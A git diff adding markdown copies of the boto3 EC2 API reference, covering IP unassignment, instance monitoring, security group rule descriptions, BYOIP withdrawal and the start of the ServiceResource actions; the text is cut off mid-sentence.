+ +Expected Output: + +{ + 'TerminatingInstances': \[ + { + 'CurrentState': { + 'Code': 32, + 'Name': 'shutting-down', + }, + 'InstanceId': 'i-1234567890abcdef0', + 'PreviousState': { + 'Code': 16, + 'Name': 'running', + }, + }, + \], + 'ResponseMetadata': { + '...': '...', + }, +} + +unassign\_ipv6\_addresses(_\*\*kwargs_) + +Unassigns one or more IPv6 addresses from a network interface. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnassignIpv6Addresses) + +**Request Syntax** + +response \= client.unassign\_ipv6\_addresses( + Ipv6Addresses\=\[ + 'string', + \], + NetworkInterfaceId\='string' +) + +Parameters + +* **Ipv6Addresses** (_list_) -- + + **\[REQUIRED\]** + + The IPv6 addresses to unassign from the network interface. + + * _(string) --_ +* **NetworkInterfaceId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the network interface. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfaceId': 'string', + 'UnassignedIpv6Addresses': \[ + 'string', + \] +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **UnassignedIpv6Addresses** _(list) --_ + + The IPv6 addresses that have been unassigned from the network interface. + + * _(string) --_ + +unassign\_private\_ip\_addresses(_\*\*kwargs_) + +Unassigns one or more secondary private IP addresses from a network interface. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnassignPrivateIpAddresses) + +**Request Syntax** + +response \= client.unassign\_private\_ip\_addresses( + NetworkInterfaceId\='string', + PrivateIpAddresses\=\[ + 'string', + \] +) + +Parameters + +* **NetworkInterfaceId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the network interface. + +* **PrivateIpAddresses** (_list_) -- + + **\[REQUIRED\]** + + The secondary private IP addresses to unassign from the network interface. You can specify this option multiple times to unassign more than one IP address. + + * _(string) --_ + +Returns + +None + +**Examples** + +This example unassigns the specified private IP address from the specified network interface. + +response \= client.unassign\_private\_ip\_addresses( + NetworkInterfaceId\='eni-e5aa89a3', + PrivateIpAddresses\=\[ + '10.0.0.82', + \], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +unmonitor\_instances(_\*\*kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response \= client.unmonitor\_instances( + InstanceIds\=\[ + 'string', + \], + DryRun\=True|False +) + +Parameters + +* **InstanceIds** (_list_) -- + + **\[REQUIRED\]** + + The IDs of the instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': \[ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + \] +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +update\_security\_group\_rule\_descriptions\_egress(_\*\*kwargs_)definition") + +\[VPC only\] Updates the description of an egress (outbound) security group rule. You can replace an existing description, or add a description to a rule that did not have one previously. + +You specify the description as part of the IP permissions structure. You can remove a description for a security group rule by omitting the description parameter in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UpdateSecurityGroupRuleDescriptionsEgress) + +**Request Syntax** + +response \= client.update\_security\_group\_rule\_descriptions\_egress( + DryRun\=True|False, + GroupId\='string', + GroupName\='string', + IpPermissions\=\[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': \[ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + \], + 'Ipv6Ranges': \[ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + \], + 'PrefixListIds': \[ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + \], + 'ToPort': 123, + 'UserIdGroupPairs': \[ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + \] + }, + \] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **GroupId** (_string_) -- The ID of the security group. You must specify either the security group ID or the security group name in the request. For security groups in a nondefault VPC, you must specify the security group ID. +* **GroupName** (_string_) -- \[Default VPC\] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + **\[REQUIRED\]** + + The IP permissions for the security group rule. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of \-1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + \[VPC only\] Use \-1 to specify all protocols. When authorizing security group rules, specifying \-1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **Ipv6Ranges** _(list) --_ + + \[VPC only\] The IPv6 ranges. + + * _(dict) --_ + + \[EC2-VPC only\] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **PrefixListIds** _(list) --_ + + \[VPC only\] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of \-1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + \[EC2-Classic\] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + +**Examples** + +This example updates the description for the specified security group rule. + +response \= client.update\_security\_group\_rule\_descriptions\_egress( + GroupId\='sg-123abc12', + IpPermissions\=\[ + { + 'FromPort': 80, + 'IpProtocol': 'tcp', + 'IpRanges': \[ + { + 'CidrIp': '203.0.113.0/24', + 'Description': 'Outbound HTTP access to server 2', + }, + \], + 'ToPort': 80, + }, + \], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +update\_security\_group\_rule\_descriptions\_ingress(_\*\*kwargs_)definition") + +Updates the description of an ingress (inbound) security group rule. You can replace an existing description, or add a description to a rule that did not have one previously. + +You specify the description as part of the IP permissions structure. You can remove a description for a security group rule by omitting the description parameter in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UpdateSecurityGroupRuleDescriptionsIngress) + +**Request Syntax** + +response \= client.update\_security\_group\_rule\_descriptions\_ingress( + DryRun\=True|False, + GroupId\='string', + GroupName\='string', + IpPermissions\=\[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': \[ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + \], + 'Ipv6Ranges': \[ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + \], + 'PrefixListIds': \[ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + \], + 'ToPort': 123, + 'UserIdGroupPairs': \[ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + \] + }, + \] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **GroupId** (_string_) -- The ID of the security group. You must specify either the security group ID or the security group name in the request. For security groups in a nondefault VPC, you must specify the security group ID. +* **GroupName** (_string_) -- \[EC2-Classic, default VPC\] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + **\[REQUIRED\]** + + The IP permissions for the security group rule. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of \-1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + \[VPC only\] Use \-1 to specify all protocols. When authorizing security group rules, specifying \-1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **Ipv6Ranges** _(list) --_ + + \[VPC only\] The IPv6 ranges. + + * _(dict) --_ + + \[EC2-VPC only\] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=&;{}!$\* + + * **PrefixListIds** _(list) --_ + + \[VPC only\] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of \-1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and .\_-:/()#,@\[\]+=;{}!$\* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + \[EC2-Classic\] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + +**Examples** + +This example updates the description for the specified security group rule. + +response \= client.update\_security\_group\_rule\_descriptions\_ingress( + GroupId\='sg-123abc12', + IpPermissions\=\[ + { + 'FromPort': 22, + 'IpProtocol': 'tcp', + 'IpRanges': \[ + { + 'CidrIp': '203.0.113.0/16', + 'Description': 'SSH access from the LA office', + }, + \], + 'ToPort': 22, + }, + \], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +withdraw\_byoip\_cidr(_\*\*kwargs_) + +Stops advertising an address range that is provisioned as an address pool. + +You can perform this operation at most once every 10 seconds, even if you specify different address ranges each time. + +It can take a few minutes before traffic to the specified addresses stops routing to AWS because of BGP propagation delays. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/WithdrawByoipCidr) + +**Request Syntax** + +response \= client.withdraw\_byoip\_cidr( + Cidr\='string', + DryRun\=True|False +) + +Parameters + +* **Cidr** (_string_) -- + + **\[REQUIRED\]** + + The address range, in CIDR notation. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ByoipCidr': { + 'Cidr': 'string', + 'Description': 'string', + 'StatusMessage': 'string', + 'State': 'advertised'|'deprovisioned'|'failed-deprovision'|'failed-provision'|'pending-deprovision'|'pending-provision'|'provisioned'|'provisioned-not-publicly-advertisable' + } +} + +**Response Structure** + +* _(dict) --_ + + * **ByoipCidr** _(dict) --_ + + Information about the address pool. + + * **Cidr** _(string) --_ + + The address range, in CIDR notation. + + * **Description** _(string) --_ + + The description of the address range. + + * **StatusMessage** _(string) --_ + + Upon success, contains the ID of the address pool. Otherwise, contains an error message. + + * **State** _(string) --_ + + The state of the address pool. diff --git a/_posts/01Cloud/01AWS/0boto3code/ec2copy.md b/_posts/01Cloud/01AWS/0boto3code/ec2copy.md new file mode 100644 index 00000000000..9946deabb9d --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/ec2copy.md @@ -0,0 +1,25319 @@ + + +[toc] + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + - Client + - Paginators + - Waiters + - Service Resource + - ClassicAddress + - DhcpOptions + - Image + - Instance + - InternetGateway + - KeyPair + - KeyPairInfo + - NetworkAcl + - NetworkInterface + - NetworkInterfaceAssociation + - PlacementGroup + - Route e) + - RouteTable + - RouteTableAssociation + - SecurityGroup + - Snapshot + - Subnet + - Tag + - Volume + - Vpc + - VpcPeeringConnection + - VpcAddress + + +--- + + +# EC2 - Service Resource + +_class_ EC2.ServiceResource + +A resource representing Amazon Elastic Compute Cloud (EC2): + +import boto3 + +ec2 = boto3.resource('ec2') + +These are the resource's available actions: + +- [create_dhcp_options()](#EC2.ServiceResource.create_dhcp_options "EC2.ServiceResource.create_dhcp_options") +- [create_instances()](#EC2.ServiceResource.create_instances "EC2.ServiceResource.create_instances") +- [create_internet_gateway()](#EC2.ServiceResource.create_internet_gateway "EC2.ServiceResource.create_internet_gateway") +- [create_key_pair()](#EC2.ServiceResource.create_key_pair "EC2.ServiceResource.create_key_pair") +- [create_network_acl()](#EC2.ServiceResource.create_network_acl "EC2.ServiceResource.create_network_acl") +- [create_network_interface()](#EC2.ServiceResource.create_network_interface "EC2.ServiceResource.create_network_interface") +- [create_placement_group()](#EC2.ServiceResource.create_placement_group "EC2.ServiceResource.create_placement_group") +- [create_route_table()](#EC2.ServiceResource.create_route_table "EC2.ServiceResource.create_route_table") +- [create_security_group()](#EC2.ServiceResource.create_security_group "EC2.ServiceResource.create_security_group") +- [create_snapshot()](#EC2.ServiceResource.create_snapshot "EC2.ServiceResource.create_snapshot") +- [create_subnet()](#EC2.ServiceResource.create_subnet "EC2.ServiceResource.create_subnet") +- [create_tags()](#EC2.ServiceResource.create_tags "EC2.ServiceResource.create_tags") +- [create_volume()](#EC2.ServiceResource.create_volume "EC2.ServiceResource.create_volume") +- [create_vpc()](#EC2.ServiceResource.create_vpc "EC2.ServiceResource.create_vpc") +- [create_vpc_peering_connection()](#EC2.ServiceResource.create_vpc_peering_connection "EC2.ServiceResource.create_vpc_peering_connection") +- [disassociate_route_table()](#EC2.ServiceResource.disassociate_route_table "EC2.ServiceResource.disassociate_route_table") +- [get_available_subresources()](#EC2.ServiceResource.get_available_subresources "EC2.ServiceResource.get_available_subresources") +- [import_key_pair()](#EC2.ServiceResource.import_key_pair "EC2.ServiceResource.import_key_pair") +- [register_image()](#EC2.ServiceResource.register_image "EC2.ServiceResource.register_image") + +These are the resource's available sub-resources: + +- [ClassicAddress()](#EC2.ServiceResource.ClassicAddress "EC2.ServiceResource.ClassicAddress") +- [DhcpOptions()](#EC2.ServiceResource.DhcpOptions "EC2.ServiceResource.DhcpOptions") +- [Image()](#EC2.ServiceResource.Image "EC2.ServiceResource.Image") +- [Instance()](#EC2.ServiceResource.Instance "EC2.ServiceResource.Instance") +- [InternetGateway()](#EC2.ServiceResource.InternetGateway "EC2.ServiceResource.InternetGateway") +- [KeyPair()](#EC2.ServiceResource.KeyPair "EC2.ServiceResource.KeyPair") +- [NetworkAcl()](#EC2.ServiceResource.NetworkAcl "EC2.ServiceResource.NetworkAcl") +- [NetworkInterface()](#EC2.ServiceResource.NetworkInterface "EC2.ServiceResource.NetworkInterface") +- [NetworkInterfaceAssociation()](#EC2.ServiceResource.NetworkInterfaceAssociation "EC2.ServiceResource.NetworkInterfaceAssociation") +- [PlacementGroup()](#EC2.ServiceResource.PlacementGroup "EC2.ServiceResource.PlacementGroup") +- [Route()](#EC2.ServiceResource.Route "EC2.ServiceResource.Route") +- [RouteTable()](#EC2.ServiceResource.RouteTable "EC2.ServiceResource.RouteTable") +- [RouteTableAssociation()](#EC2.ServiceResource.RouteTableAssociation "EC2.ServiceResource.RouteTableAssociation") +- [SecurityGroup()](#EC2.ServiceResource.SecurityGroup "EC2.ServiceResource.SecurityGroup") +- [Snapshot()](#EC2.ServiceResource.Snapshot "EC2.ServiceResource.Snapshot") +- [Subnet()](#EC2.ServiceResource.Subnet "EC2.ServiceResource.Subnet") +- [Tag()](#EC2.ServiceResource.Tag "EC2.ServiceResource.Tag") +- [Volume()](#EC2.ServiceResource.Volume "EC2.ServiceResource.Volume") +- [Vpc()](#EC2.ServiceResource.Vpc "EC2.ServiceResource.Vpc") +- [VpcAddress()](#EC2.ServiceResource.VpcAddress "EC2.ServiceResource.VpcAddress") +- [VpcPeeringConnection()](#EC2.ServiceResource.VpcPeeringConnection "EC2.ServiceResource.VpcPeeringConnection") + +These are the resource's available collections: + +- [classic_addresses](#EC2.ServiceResource.classic_addresses "EC2.ServiceResource.classic_addresses") +- [dhcp_options_sets](#EC2.ServiceResource.dhcp_options_sets "EC2.ServiceResource.dhcp_options_sets") +- [images](#EC2.ServiceResource.images "EC2.ServiceResource.images") +- [instances](#EC2.ServiceResource.instances "EC2.ServiceResource.instances") +- [internet_gateways](#EC2.ServiceResource.internet_gateways "EC2.ServiceResource.internet_gateways") +- [key_pairs](#EC2.ServiceResource.key_pairs "EC2.ServiceResource.key_pairs") +- [network_acls](#EC2.ServiceResource.network_acls "EC2.ServiceResource.network_acls") +- [network_interfaces](#EC2.ServiceResource.network_interfaces "EC2.ServiceResource.network_interfaces") +- [placement_groups](#EC2.ServiceResource.placement_groups "EC2.ServiceResource.placement_groups") +- [route_tables](#EC2.ServiceResource.route_tables "EC2.ServiceResource.route_tables") +- [security_groups](#EC2.ServiceResource.security_groups "EC2.ServiceResource.security_groups") +- [snapshots](#EC2.ServiceResource.snapshots "EC2.ServiceResource.snapshots") +- [subnets](#EC2.ServiceResource.subnets "EC2.ServiceResource.subnets") +- [volumes](#EC2.ServiceResource.volumes "EC2.ServiceResource.volumes") +- [vpc_addresses](#EC2.ServiceResource.vpc_addresses "EC2.ServiceResource.vpc_addresses") +- [vpc_peering_connections](#EC2.ServiceResource.vpc_peering_connections "EC2.ServiceResource.vpc_peering_connections") +- [vpcs](#EC2.ServiceResource.vpcs "EC2.ServiceResource.vpcs") + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_dhcp_options(kwargs_) + +Creates a set of DHCP options for your VPC. After creating the set, you must associate it with the VPC, causing all existing and new instances that you launch in the VPC to use this set of DHCP options. The following are the individual DHCP options you can specify. For more information about the options, see [RFC 2132](https://www.ietf.org/rfc/rfc2132.txt) . + +- domain-name-servers - The IP addresses of up to four domain name servers, or AmazonProvidedDNS. The default DHCP option set specifies AmazonProvidedDNS. If specifying more than one domain name server, specify the IP addresses in a single parameter, separated by commas. To have your instance receive a custom DNS hostname as specified in domain-name , you must set domain-name-servers to a custom DNS server. +- domain-name - If you're using AmazonProvidedDNS in us-east-1 , specify ec2.internal . If you're using AmazonProvidedDNS in another Region, specify region.compute.internal (for example, ap-northeast-1.compute.internal ). Otherwise, specify a domain name (for example, ExampleCompany.com ). This value is used to complete unqualified DNS hostnames. **Important** : Some Linux operating systems accept multiple domain names separated by spaces. However, Windows and other Linux operating systems treat the value as a single domain, which results in unexpected behavior. If your DHCP options set is associated with a VPC that has instances with multiple operating systems, specify only one domain name. +- ntp-servers - The IP addresses of up to four Network Time Protocol (NTP) servers. +- netbios-name-servers - The IP addresses of up to four NetBIOS name servers. +- netbios-node-type - The NetBIOS node type (1, 2, 4, or 8). We recommend that you specify 2 (broadcast and multicast are not currently supported). For more information about these node types, see [RFC 2132](https://www.ietf.org/rfc/rfc2132.txt) . + +Your VPC automatically starts out with a set of DHCP options that includes only a DNS server that we provide (AmazonProvidedDNS). If you create a set of options, and if your VPC has an internet gateway, make sure to set the domain-name-servers option either to AmazonProvidedDNS or to a domain name server of your choice. For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateDhcpOptions) + +**Request Syntax** + +dhcp_options = ec2.create_dhcp_options( + DhcpConfigurations=[ + { + 'Key': 'string', + 'Values': [ + 'string', + ] + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +- **DhcpConfigurations** (_list_) -- + + **[REQUIRED]** + + A DHCP configuration option. + + - _(dict) --_ + - **Key** _(string) --_ + - **Values** _(list) --_ + - _(string) --_ +- **TagSpecifications** (_list_) -- + + The tags to assign to the DHCP option. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id801)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id803)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.DhcpOptions + +Returns + +DhcpOptions resource + +create_instances(kwargs_) + +Launches the specified number of instances using an AMI for which you have permissions. + +You can specify a number of options, or leave the default options. The following rules apply: + +- [EC2-VPC] If you don't specify a subnet ID, we choose a default subnet from your default VPC for you. If you don't have a default VPC, you must specify a subnet ID in the request. +- [EC2-Classic] If don't specify an Availability Zone, we choose one for you. +- Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see [Instance types available only in a VPC](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html#vpc-only-instance-types) . +- [EC2-VPC] All instances have a network interface with a primary private IPv4 address. If you don't specify this address, we choose one from the IPv4 range of your subnet. +- Not all instance types support IPv6 addresses. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . +- If you don't specify a security group ID, we use the default security group. For more information, see [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) . +- If any of the AMIs have a product code attached for which the user has not subscribed, the request fails. + +You can create a [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) , which is a resource that contains the parameters to launch an instance. When you launch an instance using RunInstances , you can specify the launch template instead of specifying the launch parameters. + +To ensure faster instance launches, break up large requests into smaller batches. For example, create five separate launch requests for 100 instances each instead of one launch request for 500 instances. + +An instance is ready for you to use when it's in the running state. You can check the state of your instance using DescribeInstances . You can tag instances and EBS volumes during launch, after launch, or both. For more information, see CreateTags and [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) . + +Linux instances have access to the public key of the key pair at boot. You can use this key to provide secure access to the instance. Amazon EC2 public images use this feature to provide secure access without passwords. For more information, see [Key pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For troubleshooting, see [What to do if an instance immediately 